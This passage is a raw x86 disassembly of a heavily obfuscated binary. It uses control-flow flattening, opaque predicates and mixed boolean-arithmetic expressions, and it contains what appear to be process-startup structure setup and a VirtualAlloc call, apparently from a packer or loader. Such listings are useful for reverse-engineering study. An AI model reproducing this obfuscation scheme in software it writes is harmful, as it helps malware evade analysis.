or cl, dl
xor ah, 1
xor cl, 1
or cl, ch
mov ch, cl
and cl, al
xor ch, 1
and ch, ah
mov ah, dl
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x9eea85e7
cmovne eax, esi
test cl, cl
mov ecx, 0x9eea85e7
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402900
cmp eax, 0x9b7bd981
jle 0x405159
cmp eax, 0x9cee74da
jle 0x406d6f
cmp eax, 0x9dca1e8e
jg 0x409076
cmp eax, 0x9cee74db
je 0x40a21e
cmp eax, 0x9db2c20a
jne 0x402900
mov eax, dword [ebp - 0x20]
mov eax, 0x78d7c9ce
jmp 0x402900
cmp eax, 0x5ff4eae5
jle 0x4052bb
cmp eax, 0x60b3c0d0
jle 0x406e83
cmp eax, 0x62739006
jg 0x4091b3
cmp eax, 0x60b3c0d1
je 0x40a22b
cmp eax, 0x61946585
jne 0x402900
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xdc], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xe0], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov ecx, dword [0x460984]
mov eax, esp
mov dword [ebp - 0x14], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x62fa2233
mov edi, ecx
not edi
mov esi, eax
and esi, 0x9d05ddcc
and ecx, 0x62fa2233
or eax, edi
and edi, 0x9d05ddcc
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x80208e10
mov edx, ecx
and edx, 0x699a20ce
and ecx, 0x16455121
or eax, edx
xor eax, 0x80208e10
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xf0325802
and eax, 0xfcda7fd
or ecx, eax
mov eax, ecx
xor eax, 0x40200002
xor ecx, 0x88c85f4
and ecx, 0xb89eddf4
and eax, 0x4761220b
or eax, ecx
xor eax, 0x4761220b
setne ah
sete ch
cmp dword [0x460980], 0xa
mov cl, ah
mov dh, ch
setge al
setl dl
xor cl, al
or dh, al
and ah, dl
or dl, ch
and cl, al
and al, ch
mov bl, dh
xor cl, 1
or al, ah
xor bl, cl
or cl, dh
xor al, 1
xor cl, 1
mov ah, al
or al, dl
or cl, bl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ch, cl
xor dl, 1
mov ah, dl
or dl, al
and ah, cl
xor ah, 1
xor ch, ah
or ah, cl
mov cl, al
xor al, 1
and cl, al
xor ah, 1
or ah, ch
xor cl, 1
mov ch, al
xor ch, cl
or cl, al
xor cl, 1
or cl, ch
mov ch, dl
xor cl, ah
mov eax, 0xbb923b53
xor ch, cl
test dl, 1
mov edx, 0xfd20f6dd
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0xbb923b53
cmove eax, edx
jmp 0x402900
cmp eax, 0xe22e201d
jle 0x4053e8
cmp eax, 0xe3100d82
jle 0x406fa8
cmp eax, 0xe348c399
jg 0x4091df
cmp eax, 0xe3100d83
je 0x40a235
cmp eax, 0xe33c7454
jne 0x402900
mov eax, dword [ebp - 0xdc]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xe0]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x160], eax
mov eax, 0x6315cfff
jmp 0x402900
cmp eax, 0x1cbf4116
jle 0x4054f8
cmp eax, 0x1fe6dab4
jle 0x406fd3
cmp eax, 0x210cdbaa
jg 0x4092f2
cmp eax, 0x1fe6dab5
je 0x40a3cf
cmp eax, 0x20fd6d4f
jne 0x402900
mov eax, 0x8b5754fe
jmp 0x402900
cmp eax, 0xbb2d3cc0
jle 0x405534
cmp eax, 0xbc7a5993
jle 0x406ffe
cmp eax, 0xbd801772
jg 0x4094a3
cmp eax, 0xbc7a5994
je 0x40a3e8
cmp eax, 0xbce18e8c
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x5202140
mov esi, ecx
and esi, 0xc8410a32
and ecx, 0x99c5819b
or edx, esi
mov esi, edx
xor esi, 0x202040
xor edx, 0xfadfdebf
mov edi, edx
and edi, 0xd7530123
and esi, 0x8202a50
or esi, edi
mov edi, eax
xor edi, 0xcd612b72
and edi, eax
and eax, 0x663a7e64
mov ebx, edi
not ebx
and edi, 0x28acfedc
or eax, ecx
or edx, ebx
and ebx, 0xd7530123
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov edi, 0xf8b8a494
mov esi, edx
not esi
and edx, 0xac648a97
and esi, 0x539b7568
or edx, esi
mov esi, edx
xor esi, 0x61052100
xor edx, 0x88804418
and edx, 0x8880c4fc
and esi, 0x777f3b03
or esi, edx
mov edx, esi
xor edx, 0x75480200
xor esi, 0x8880c4fc
mov ecx, esi
and ecx, 0x82b7f943
and edx, 0x7d4806bc
or edx, ecx
mov ecx, eax
xor ecx, 0x64080624
xor eax, 0x99c5819b
or esi, eax
and eax, 0x82b7f943
and ecx, 0x7d4806bc
or ecx, eax
not esi
xor ecx, edx
or esi, ecx
xor esi, 0xffffffff
mov esi, 0x22e719aa
sete ah
setne ch
cmp dword [0x460980], 0xa
mov dh, ah
setl cl
setge dl
xor dh, cl
mov al, cl
and dl, ah
or al, ch
and dh, ch
and ch, cl
or cl, ah
or dl, ch
xor cl, 1
xor al, 1
or cl, dl
or al, dh
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0xf8b8a494
xor al, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, edx
cmovne eax, edi
test cl, 1
cmovne eax, edx
jmp 0x402900
cmp eax, 0x7b1b5388
jle 0x405573
cmp eax, 0x7e0255e5
jle 0x40702c
cmp eax, 0x7ef816e0
jg 0x409557
cmp eax, 0x7e0255e6
je 0x40a526
cmp eax, 0x7e401665
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xb4ac0b7c
and ecx, 0x4b53f483
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd8dacfb4
and ecx, 0x2725304b
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x800c000
xor ecx, 0x93893b37
xor eax, 0xc23eb9ef
mov esi, ecx
and edx, 0x1901c210
and esi, 0xe6fe3def
and eax, ecx
or esi, edx
mov ebx, eax
not ebx
and eax, 0xc2db3e65
mov ecx, esi
mov edx, esi
xor edx, 0xe6fe3def
xor esi, 0x48b640c8
xor ecx, 0x1901c210
and esi, edx
and ecx, 0xfffffffe
mov edx, esi
not edx
and esi, 0xc2db3e65
mov edi, edx
or edx, ebx
and edi, 0x3d24c19a
and ebx, 0x3d24c19a
or esi, edi
or eax, ebx
not edx
xor eax, esi
mov esi, 0x1b4f2513
or edx, eax
mov eax, edx
not eax
and edx, 0x83085256
and eax, 0x7cf7ada9
or edx, eax
xor edx, 0xd2bfd08f
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x22a0202
mov edx, eax
and edx, 0xa1010c18
and eax, 0x5cd4f1e5
or ecx, edx
xor ecx, 0x22a0202
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xaaca0058
mov edx, ecx
and edx, 0x5535ffa7
or eax, edx
xor eax, 0x5535ffa7
xor ecx, eax
test ecx, eax
setne al
sete cl
cmp dword [0x460980], 0xa
setl dl
mov ah, dl
xor al, dl
xor ah, cl
or cl, dl
xor al, 1
xor cl, 1
mov edx, eax
or cl, ah
xor cl, 1
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xda678814
cmovne eax, esi
test dl, dl
mov edx, 0xda678814
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
cmp eax, 0xfc6f1455
jle 0x4055af
cmp eax, 0xfcd35d09
jle 0x40705a
cmp eax, 0xfd6acd73
jg 0x40965d
cmp eax, 0xfcd35d0a
je 0x40a530
cmp eax, 0xfd20f6dd
jne 0x402900
mov eax, 0x61946585
jmp 0x402900
cmp eax, 0x24d0087d
jle 0x4055e5
cmp eax, 0x27aac24e
jle 0x407094
cmp eax, 0x297ad9b8
jle 0x409694
cmp eax, 0x297ad9b9
je 0x40a53d
cmp eax, 0x29effbe6
jne 0x402900
mov eax, dword [ebp - 0x1c0]
mov ecx, 0xf7bdc6c2
cmp eax, 0xc
mov eax, 0x54cb1fdd
cmove eax, ecx
jmp 0x402900
cmp eax, 0x83a81342
jg 0x4057a3
cmp eax, 0x817e1a98
jg 0x4070e3
cmp eax, 0x8069c4cd
je 0x40a547
cmp eax, 0x80c70390
je 0x40a693
cmp eax, 0x812127dd
jne 0x402900
mov eax, dword [ebp - 0x124]
sar eax, 0xc
mov dword [ebp - 0x90], eax
mov eax, dword [0x460984]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
and eax, 0x110afa7e
or esi, 0x10e04201
mov edx, ecx
and edx, 0xeef50581
and esi, 0xfbe44e27
and ecx, 0x181c8
or edx, eax
or ecx, esi
mov eax, edx
xor edx, 0x110afa7e
xor eax, 0xeef50581
mov edi, edx
or edi, 0xeb040c26
mov ebx, eax
and ebx, 0x41a3010
and edx, 0xb16a6ac0
and edi, 0xfbe44e27
or ebx, edi
xor ecx, ebx
mov esi, ecx
not esi
and ecx, 0x14fa7210
and esi, 0xeb058def
or ecx, esi
mov esi, eax
and esi, 0x4e95953f
and eax, 1
or esi, edx
xor esi, 0xb16a6ac1
or eax, esi
mov edx, eax
not edx
and eax, 0x34b50096
and edx, 0xcb4aff69
or eax, edx
xor eax, 0x34b50096
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x2ef88521
and eax, 0xd1077ade
or ecx, eax
mov eax, ecx
xor eax, 0xcd80001
xor ecx, 0xd1077ade
mov esi, ecx
and esi, 0xb320e7a8
and eax, 0x4cdf1857
or eax, esi
mov esi, edx
not esi
and edx, 0x4cdf1857
or ecx, esi
and esi, 0xb320e7a8
or edx, esi
not ecx
mov esi, 0x37026f10
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x1a43add8
mov edx, eax
and edx, 0xe5bc5227
or ecx, edx
xor ecx, 0x1a43add8
or ecx, eax
xor ecx, 0xffffffff
sete ch
setne ah
cmp dword [0x460980], 0xa
mov dh, ch
setl dl
setge al
mov cl, dl
or dh, al
and al, ch
or cl, ah
and ah, dl
or dl, ch
xor dh, 1
or al, ah
xor cl, 1
xor al, 1
or cl, dh
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
mov ah, al
and ah, cl
xor dl, 1
xor cl, 1
and dl, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x8aefd095
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x8aefd095
jmp 0x4104ca
cmp eax, 0x454e4028
jg 0x4071cb
cmp eax, 0x43d99012
je 0x40a7bf
cmp eax, 0x44eeaf90
je 0x40a8d6
cmp eax, 0x454a6d11
jne 0x402900
mov eax, 0x72f8b19f
jmp 0x402900
cmp eax, 0xc2f5ecd5
jg 0x4071f6
cmp eax, 0xc0c991b7
je 0x40aaf9
cmp eax, 0xc0cda7ba
je 0x40ab0e
cmp eax, 0xc2879f70
jne 0x402900
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x19c]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
mov dword [ebp - 0x1a0], eax
mov eax, 0x78d7ece4
jmp 0x402900
cmp eax, 0x55c31
jg 0x40723a
cmp eax, 0xfebd7009
je 0x40ab18
cmp eax, 0xffa2705d
je 0x40ac6a
cmp eax, 0xffc1e4de
jne 0x402900
mov eax, 0xd7390704
jmp 0x402900
cmp eax, 0xa042b26f
jg 0x407281
cmp eax, 0x9eea85e7
je 0x40ad58
cmp eax, 0x9f4fdb9a
je 0x40ae50
cmp eax, 0x9fa44e5f
jne 0x402900
mov eax, 0xf3fba726
jmp 0x402900
cmp eax, 0x663687cf
jg 0x4072ac
cmp eax, 0x6315cfff
je 0x40ae63
cmp eax, 0x65013e81
je 0x40ae8b
cmp eax, 0x65391612
jne 0x402900
push 4
push 0x3000
push dword [ebp - 0xfc]
push dword [ebp - 0x15c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
cmp dword [eax + 4], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
sete byte [ebp - 0x9c]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xc2a8276
mov edx, eax
and edx, 0xf3d57d88
and eax, 0x6a698850
or esi, edx
mov edx, ecx
and edx, 1
and ecx, 0x959677af
xor esi, 0xc2a8276
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x6a698850
mov edi, esi
and edi, 0x959677af
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x26d7c9b1
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x460980], 0xa
setl ch
setge al
mov cl, ch
mov dh, ch
and al, ah
xor cl, dl
or dh, dl
not cl
and cl, dl
and dl, ch
or ch, ah
xor cl, 1
xor ch, 1
or al, dl
mov ebx, ecx
or cl, dh
or al, ch
xor bl, dh
xor cl, 1
or cl, bl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xf27c8155
cmovne edx, esi
test al, 1
mov eax, 0xf27c8155
jmp 0x40bc99
cmp eax, 0xe614de60
jg 0x4072d7
cmp eax, 0xe471c476
je 0x40aec2
cmp eax, 0xe52c2dc0
je 0x40aee5
cmp eax, 0xe52fcd9d
jne 0x402900
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x1dc], eax
mov eax, 0xd593dfe4
jmp 0x402900
cmp eax, 0x326c7592
jg 0x407305
cmp eax, 0x315340eb
je 0x40aefa
cmp eax, 0x31655f01
je 0x40afa9
cmp eax, 0x31e0edf1
jne 0x402900
mov eax, dword [ebp - 0x90]
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffc
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffc
and edx, 0xfb94e5ba
and eax, 0x46b1a45
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x5a059568
xor eax, 0x46b1a45
and esi, 0xa5fa6a97
or ecx, esi
xor ecx, 0x5a059568
or eax, ecx
cmp eax, 0xffffffff
mov eax, dword [0x460984]
setne byte [ebp - 0xa0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0x231d2167
not eax
mov edx, eax
and edx, 0x231d2167
and esi, ecx
and eax, 0x931d2b81
or esi, edx
mov edx, esi
not edx
and esi, 0xbb7226a5
and edx, 0x448dd95a
or esi, edx
mov edx, esi
xor edx, 0x800b0601
xor esi, 0x6807818
and esi, 0x1ee479da
and edx, 0xe11b8625
or edx, esi
mov esi, edx
xor esi, 0x81190201
xor edx, 0x1ee479da
mov edi, edx
or edx, ecx
and ecx, 0x6ce2d47e
and edi, 0x6ce2d47e
and esi, 0x931d2b81
or esi, edi
or eax, ecx
not edx
xor eax, esi
or edx, eax
cmp edx, 0xffffffff
setne dl
cmp dword [0x460980], 0xa
mov ah, dl
mov ecx, edx
setge al
setl ch
inc ah
and cl, ah
xor cl, 1
mov dh, cl
or cl, ah
xor dh, ah
xor cl, 1
xor ah, ch
or cl, dh
mov dh, cl
xor cl, 1
and cl, al
and dh, ch
or al, dl
or cl, dh
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, cl
and ah, dl
mov ch, al
xor ah, 1
xor ch, 1
or ah, dl
xor ah, 1
or ah, cl
mov cl, ah
and ah, al
or al, dl
mov edx, 0xd7a79b55
xor cl, 1
and cl, ch
or ah, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xda43a687
cmovne ecx, edx
test al, 1
mov edx, 0xda43a687
jmp 0x4028e7
cmp eax, 0x8e3b56ca
jg 0x407426
cmp eax, 0x8c9eb2c4
je 0x40b048
cmp eax, 0x8ce82623
je 0x40b058
cmp eax, 0x8e025d21
jne 0x402900
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [eax]
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
setb byte [ebp - 0x9e]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0xa5462012
mov esi, edx
mov edi, edx
or esi, 0x8408
and ecx, 0xa546a41a
and edi, 0x52a85360
and edx, 0xa10cd7f5
or edi, ecx
mov ecx, eax
and esi, 0xa546a41a
and ecx, 0x8110885
and eax, 0x5ef3280a
or ecx, esi
or eax, edx
xor ecx, edi
mov edi, 0x62f594b0
mov esi, ecx
not esi
and ecx, 0xf5314d4b
and esi, 0xaceb2b4
or ecx, esi
mov esi, ecx
xor esi, 0x21988820
xor ecx, 0x586665dd
mov edx, ecx
and edx, 0x8623360f
and esi, 0x79dcc9f0
or esi, edx
mov edx, eax
xor edx, 0x58d00800
xor eax, 0x80001605
and eax, 0x8623360f
and edx, 0x79dcc9f0
or edx, eax
xor edx, esi
mov esi, 0x6ef55c90
xor ecx, edx
test ecx, edx
sete dl
setne ah
cmp dword [0x460980], 0xa
setge al
setl ch
mov cl, al
mov dh, al
or al, ah
xor dh, ah
and ah, ch
xor ch, dl
xor al, 1
and cl, dl
or al, ch
or cl, ah
xor al, 1
mov dl, cl
or al, dh
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x62f594b0
cmovne eax, esi
test dl, dl
cmove eax, edi
jmp 0x4099f2
cmp eax, 0x54b6bce9
jg 0x407451
cmp eax, 0x53675532
je 0x40b062
cmp eax, 0x53bef015
je 0x40b06c
cmp eax, 0x53cb70b5
jne 0x402900
mov eax, dword [ebp - 0x100]
mov eax, 0xa85f7cb8
jmp 0x402900
cmp eax, 0xd5a83fcc
jg 0x4075e0
cmp eax, 0xd48e1519
je 0x40b18a
cmp eax, 0xd593dfe4
je 0x40b197
cmp eax, 0xd59cf3c1
jne 0x402900
mov eax, dword [ebp - 0x30]
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa0022011
mov edx, eax
and edx, 0x42159000
and eax, 0x1de84fee
or ecx, edx
xor ecx, 0xa0022011
or eax, ecx
mov edx, eax
xor edx, 0xe2071454
mov ecx, eax
and ecx, 0x94143a89
and edx, eax
not eax
and eax, 0x6bebc576
or ecx, eax
mov eax, ecx
mov esi, ecx
xor eax, 0x94143a89
xor esi, 0x89ecd122
xor ecx, 0x20408076
and esi, eax
and ecx, 0x3450a8fe
or edx, esi
mov esi, edx
not esi
and edx, 0x8e680d96
and esi, 0x7197f269
or edx, esi
mov esi, eax
and esi, 0xcbaf5701
and eax, 1
or esi, ecx
xor edx, 0x6c6f19c3
xor esi, 0x3450a8ff
or eax, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb71b9744
and eax, 0x82004220
mov edx, ecx
and edx, 0x48e468bb
or ecx, 0x15503087
or esi, edx
and ecx, 0x15d73897
mov edx, esi
xor esi, 0x402083
xor edx, 0x20088540
or eax, ecx
or esi, 0x870810
and edx, 0x68288548
and esi, 0x15d73897
or edx, esi
mov esi, 0x6e77c867
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xe6fa619d
and ecx, 0x19059e62
or eax, ecx
xor eax, 0x9b82d452
sete dl
setne ah
cmp dword [0x460980], 0xa
setge cl
setl ch
mov al, cl
or ch, ah
or al, dl
mov dh, ch
xor dh, al
or al, ch
mov ch, cl
inc ch
xor al, 1
and ch, ah
mov ah, cl
or al, dh
xor ah, dl
xor al, 1
and ah, cl
and cl, dl
or cl, ch
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x3289f5d5
cmovne ecx, esi
test al, 1
mov esi, 0x3289f5d5
jmp 0x411dcc
cmp eax, 0x143a4979
jg 0x407616
cmp eax, 0x11c2f085
je 0x40b1d4
cmp eax, 0x12dfe1fe
je 0x40b293
cmp eax, 0x138a9358
jne 0x402900
mov eax, dword [ebp - 0x14]
mov eax, 0xf3861d54
jmp 0x402900
cmp eax, 0xb26f170f
jg 0x407641
cmp eax, 0xaf8fc05b
je 0x40b330
cmp eax, 0xb137f332
je 0x40b349
cmp eax, 0xb21fb3b4
jne 0x402900
mov eax, 0x53675532
jmp 0x402900
cmp eax, 0x733416c2
jg 0x40766c
cmp eax, 0x729b26a9
je 0x40b3f7
cmp eax, 0x72c3ae7c
je 0x40b41a
cmp eax, 0x72f8b19f
jne 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x24044322
mov esi, eax
mov edi, eax
or esi, 0x43092010
and edx, 0x670d6332
and edi, 0x98000045
and eax, 0x2e276826
or edi, edx
mov edx, ecx
and esi, 0x670d6332
and edx, 0xf29c88
and ecx, 0xd1d897d9
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xdb092054
and esi, 0x24f6dfab
or edx, esi
mov esi, edx
not esi
and edx, 0x2e276826
mov edi, esi
and edi, 0xd1d897d9
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x454a6d11
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x460980], 0xa
setl al
setge ah
and cl, al
or al, dl
and ah, dl
or cl, ah
xor al, 1
or al, cl
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x671070f0
cmovne ecx, esi
test al, al
mov esi, 0x671070f0
jmp 0x410219
cmp eax, 0xf3861d53
jg 0x407697
cmp eax, 0xf27c8155
je 0x40b424
cmp eax, 0xf2da02f0
je 0x40b43d
cmp eax, 0xf34f8908
jne 0x402900
mov eax, dword [ebp - 0x74]
mov eax, 0x11c2f085
jmp 0x402900
cmp eax, 0x2b83a877
jg 0x4076c2
cmp eax, 0x2ac19d24
je 0x40b450
cmp eax, 0x2ae6ba3f
je 0x40b588
cmp eax, 0x2b6d186a
jne 0x402900
mov eax, 0x5ff4eae6
jmp 0x402900
cmp eax, 0x88599b32
jg 0x407706
cmp eax, 0x878687de
je 0x40b676
cmp eax, 0x87b1cfc4
je 0x40b743
cmp eax, 0x883cc266
jne 0x402900
mov eax, 0x78dfa557
jmp 0x402900
cmp eax, 0x4d91dd87
jg 0x40773d
cmp eax, 0x4bbb60e9
je 0x40b840
cmp eax, 0x4c01d3da
je 0x40b860
cmp eax, 0x4cdcdb47
jne 0x402900
mov eax, 0xbb2d3cc1
jmp 0x402900
cmp eax, 0xcdf2d7ec
jg 0x40793c
cmp eax, 0xca74c9e4
je 0x40b86a
cmp eax, 0xcd3287de
je 0x40b88d
cmp eax, 0xcdda00ad
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xe914ab0b
and eax, 0x34806020
mov edx, ecx
and edx, 0x16eb54f4
or ecx, 0x3020387
or esi, edx
and ecx, 0xcb770b9f
mov edx, esi
xor esi, 0x2020084
xor edx, 0x8000
or eax, ecx
or esi, 0xc8750818
and edx, 0x89440
and esi, 0xcb770b9f
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x30a97c7
and ecx, 0xfcf56838
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd02ed304
mov edi, ecx
or edi, 0x7462641e
mov esi, ecx
and esi, 0x7462641e
or ecx, 1
mov edx, edi
not edx
and edi, 0x8b9d9be0
and ecx, 0x2fd12cfb
or edx, esi
or ecx, eax
and edx, 0x7462641f
or edx, edi
mov eax, edx
not eax
and edx, 0x1d5917de
mov esi, eax
and esi, 0xe2a6e821
or edx, esi
mov esi, ecx
xor esi, 0xd5104da
xor ecx, 0xd02ed304
or eax, ecx
and ecx, 0xe2a6e821
and esi, 0x1d5917de
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, eax
or esi, 0xf9223802
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x65147d1
and ecx, eax
and esi, 0xfb723e53
and edx, 0x4014180
or edx, esi
mov esi, ecx
not esi
and ecx, 0x48dc1ac
or eax, esi
and esi, 0xfb723e53
or ecx, esi
not eax
mov esi, 0xa0854a4a
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xf9aeb82e
and eax, 0x65147d1
or eax, ecx
sete al
setne cl
cmp dword [0x460980], 0xa
setl dl
setge ah
and dl, cl
or cl, ah
and al, ah
xor cl, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x9fa44e5f
cmovne eax, esi
test dl, dl
mov edx, 0x9fa44e5f
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
cmp eax, 0xd5f42ee
jg 0x407a67
cmp eax, 0xba5633a
je 0x40b8ab
cmp eax, 0xba8cc05
je 0x40b8b5
cmp eax, 0xbd6c3df
jne 0x402900
mov eax, 0xda4d298
jmp 0x402900
cmp eax, 0xa965a895
jg 0x407aba
cmp eax, 0xa6ec9b05
je 0x40b8bf
cmp eax, 0xa85f7cb8
je 0x40b9c5
cmp eax, 0xa8786650
jne 0x402900
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x58]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x1784ee39
mov esi, edx
and esi, 0xfffffffe
and edx, 0xe87b11c6
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x17f67c51
mov esi, edx
and esi, 0xe80983ae
or ecx, esi
mov esi, eax
xor esi, 0x17846c11
xor eax, 0xe8090186
and eax, 0xe80983ae
and esi, 0x17f67c51
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x689c55d6
setne dl
sete ah
cmp dword [0x460980], 0xa
setge al
mov ch, al
mov cl, al
xor ch, ah
and ah, al
inc cl
and ch, al
xor al, dl
and cl, dl
or al, ch
or cl, ah
mov edx, eax
mov ah, cl
xor dl, 1
and ah, al
mov ch, dl
or dl, cl
xor cl, 1
and ch, cl
xor cl, al
xor dl, 1
or dl, cl
or ah, ch
mov ecx, 0xec668553
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, 0xec668553
cmovne edx, ecx
test ah, ah
jmp 0x4028ed
cmp eax, 0x6daef7db
jg 0x407cb3
cmp eax, 0x6c288059
je 0x40bace
cmp eax, 0x6c514e0d
je 0x40bbb8
cmp eax, 0x6c8c1f41
jne 0x402900
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, 0x4bbb60e9
jmp 0x402900
cmp eax, 0xeb846184
jg 0x407cde
cmp eax, 0xe9b4ace6
je 0x40bca1
cmp eax, 0xe9fffd5f
je 0x40bcab
cmp eax, 0xea2a78df
jne 0x402900
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x10
mov eax, 0x14cb580b
jmp 0x402900
cmp eax, 0x38ac5d33
jg 0x407e33
